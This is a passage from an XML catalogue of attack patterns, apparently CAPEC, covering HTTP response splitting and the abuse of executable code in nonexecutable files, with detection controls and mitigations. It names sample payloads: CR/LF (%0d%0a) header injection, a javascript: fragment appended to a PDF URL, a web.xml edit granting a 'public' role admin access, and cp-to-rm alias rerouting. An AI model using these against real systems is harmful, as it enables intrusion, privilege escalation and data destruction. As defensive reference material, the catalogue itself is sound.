												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL, forms found in the
												pages (like file upload, etc.).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are transported through HTTP</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The application uses redirection techniques
												(HTTP Location, etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="5" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of user-controllable
												input entry points is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt variations on input
											parameters</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects the entry points identified
												in the Explore Phase with response splitting syntax
												and variations of payloads to be acted on in the
												additional response. He records all the responses
												from the server that include unmodified versions of
												his payload.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use CR\LF characters (encoded or not) in the
												payloads in order to see if the HTTP header can be
												split.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record the HTTP
												responses headers.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The web server uses unvalidated
												user-controlled input as part of the response
												headers</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The CR\LF characters are passed
												in the HTTP header and two responses are generated
												for a single request.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All CR\LF characters are
												consistently re-encoded or stripped before being
												written in the HTTP header</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>The size of the payload is
												being limited by the server-side
												application.</Outcome_Description>
											</Outcome>
											<Outcome ID="4" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all in the inputs),
												application servers, and other HTTP infrastructure
												(e.g., load balancers). Alert on CR\LF
												characters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Do not use
												user-controllable inputs in HTTP
												headers</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Filter CR/LF syntax
												out of any user-controllable input utilized in
												HTTP headers.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating HTTP
												Response Splitting
												attacks.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Cross-Site Scripting</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to attack the user with
												Cross-Site Scripting. The possible outcomes of such
												an attack are described in the Cross-Site Scripting
												related attack patterns.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject cross-site scripting payload preceded
												by response splitting syntax (CR/LF) into
												user-controllable input identified as vulnerable
												in the Experiment Phase.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The malicious script is
												executed within the user's
												context.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for consecutive suspicious HTTP
												request</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Cache poisoning</Attack_Step_Title>
										<Attack_Step_Description>
											<Text/>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker decides to target the cache
												server by forging new responses. The server will
												then cache the second request and response. The
												cached response has most likely an attack vector
												like Cross-Site Scripting; this attack will then
												be serve to many clients due to the caching
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>System performs caching of HTTP
												responses</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the users to
												be served with this cached malicious HTTP
												response.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for consecutive suspicious HTTP
												requests.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>User-controlled input used as part of HTTP header</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Ability of attacker to inject custom strings in HTTP header</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Insufficient input validation in application to check for input sanity
						before using it as part of response header</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In the PHP 5 session extension mechanism, a user-supplied session ID
							is sent back to the user within the Set-Cookie HTTP header. Since the
							contents of the user-supplied session ID are not validated, it is
							possible to inject arbitrary HTTP headers into the response body. This
							immediately enables HTTP Response Splitting by simply terminating the
							HTTP response header from within the session ID used in the Set-Cookie
							directive.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-0207</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to have a solid understanding of the HTTP protocol
							and HTTP headers and must be able to craft and inject requests to elicit
							the split responses.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>With available source code, the attacker can see whether user input is
							validated or not before being used as part of output. This can also be
							achieved with static code analysis tools</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>If source code is not available, the attacker can try injecting a
							CR-LF sequence (usually encoded as %0d%0a in the input) and use a proxy
							such as Paros to observe the response. If the resulting injection causes
							an invalid request, the web server may also indicate the protocol
							error.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>The only indicators are multiple responses to a single request in the
							web logs. However, this is difficult to notice in the absence of an
							application filter proxy or a log analyzer. There are no indicators for
							the client</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>To avoid HTTP Response Splitting, the application must not rely on
						user-controllable input to form part of its output response stream.
						Specifically, response splitting occurs due to injection of CR-LF sequences
						and additional headers. All data arriving from the user and being used as
						part of HTTP response headers must be subjected to strict validation that
						performs simple character-based as well as semantic filtering to strip it of
						malicious character sequences and headers.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input that forms part of output HTTP response headers</Text>
			</Injection_Vector>
			<Payload>
				<Text>Encoded HTTP header and data separated by appropriate CR-LF sequences. The
					injected data must consist of legitimate and well-formed HTTP headers as well as
					required script to be included as HTML body.</Text>
			</Payload>
			<Activation_Zone>
				<Text>API calls in the application that set output response headers.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of payload activation is that two distinct HTTP responses are
						issued to the target, which interprets the first as response to a supposedly
						valid request and the second, which causes the actual attack, to be a
						response to a second dummy request issued by the attacker.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>113<!--Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>358<!--WASC Threat Classification 2.0 - WASC-25 - HTTP Response Splitting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>All client-supplied input must be validated through filtering and all
						output must be properly escaped.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never trust user-supplied input.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - HTTP Response Splitting</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Injection</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-01-09</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="35" Name="Leverage Executable Code in Nonexecutable Files"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a system's trust in configuration and
						resource files, when the executable loads the resource (such as an image
						file or configuration file) the attacker has modified the file to either
						execute malicious code directly or manipulate the target process (e.g.
						application server) to execute based on the malicious configuration
						parameters. Since systems are increasingly interrelated mashing up resources
						from local and remote sources the possibility of this attack occurring is
						high.</Text>
					<Text>The attack can be directed at a client system, such as causing buffer
						overrun through loading seemingly benign image files, as in Microsoft
						Security Bulletin MS04-028 where specially crafted JPEG files could cause a
						buffer overrun once loaded into the browser. Another example targets clients
						reading pdf files. In this case the attacker simply appends javascript to
						the end of a legitimate url for a pdf
						(http://www.gnucitizen.org/blog/danger-danger-danger/)</Text>
					<Text>http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here</Text>
					<Text>The client assumes that they are reading a pdf, but the attacker has
						modified the resource and loaded executable javascript into the client's
						browser process.</Text>
					<Text>The attack can also target server processes. The attacker edits the
						resource or configuration file, for example a web.xml file used to configure
						security permissions for a J2EE app server, adding role name "public" grants
						all users with the public role the ability to use the administration
						functionality.</Text>
					<Block>
						<Code>&lt; security-constraint&gt;</Code>
						<Block>
							<Code>&lt;description&gt;Security processing rules for admin
								screens&lt;/description&gt;</Code>
							<Code>&lt;url-pattern&gt;/admin/*&lt;/url-pattern&gt;</Code>
							<Code>&lt;http-method&gt;POST&lt;/http-method&gt;</Code>
							<Code>&lt;http-method&gt;GET&lt;/http-method&gt;</Code>
							<Block>
								<Code>&lt;auth-constraint&gt;</Code>
								<Block>
									<Code>&lt;role-name&gt;administrator&lt;/role-name&gt;</Code>
									<Code>&lt;role-name&gt;public&lt;/role-name&gt;</Code>
								</Block>
								<Code>&lt;/auth-constraint&gt;</Code>
							</Block>
						</Block>
						<Code>&lt;/security-constraint&gt;</Code>
					</Block>
					<Text>The server trusts its configuration file to be correct, but when they are
						manipulated, the attacker gains full control.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must have the ability to modify nonexecutable files consumed
						by the target software.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Virtually any system that relies on configuration files for runtime
							behavior is open to this attack vector. The configuration files are
							frequently stored in predictable locations, so an attacker that can
							fingerpint a server process such as a web server or database server can
							quickly identify the likely locale where the configuration is stored.
							And this is of course not limited to server processes. Unix shells rely
							on profile files to store environment variables, search paths for
							programs and so on. If the aliases are changed, then a standard Unix
							"cp" command can be rerouted to "rm" or other standard command so the
							user's intention is subverted.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify and execute against an overprivileged system
							interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate synchronously or asynchronously with server that
					publishes an overprivileged directory, program, or itnerface. Optionally,
					ability to capture output directly through synchronous communication or other
					method such as FTP.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Run server interfaces with a non-root account and/or utilize
						chroot jails or other configuration techniques to constrain privileges even
						if attacker gains some limited access to commands.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform testing such as pentesting and vulnerability
						scanning to identify directories, programs, and interfaces that grant direct
						access to executables.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Implement host integrity monitoring to detect any unwanted
						altering of configuration files.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure that files that are not required to execute, such
						as configuration files, are not over-privileged, i.e. not allowed to
						execute.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Nonexecutable files</Text>
			</Injection_Vector>
			<Payload>
				<Text>Executable code</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>94<!--Failure to Control Generation of Code ('Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>95<!--Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>97<!--Improper Neutralization of Server-Side Includes (SSI) Within a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>272<!--Least Privilege Violation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>59<!--Improper Link Resolution Before File Access ('Link Following')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>282<!--Improper Ownership Management--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>275<!--Permission Issues--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>270<!--Privilege Context Switching Error--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>714<!--OWASP Top Ten 2007 Category A3 - Malicious File Execution--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>Microsoft Security Bulletin MS04-028</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Buffer Overrun in JPEG Processing (GDI+) Could Allow Code
							Execution</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>23<!--File System Function Injection, Content Based--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>75<!--Manipulating Writeable Configuration Files--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
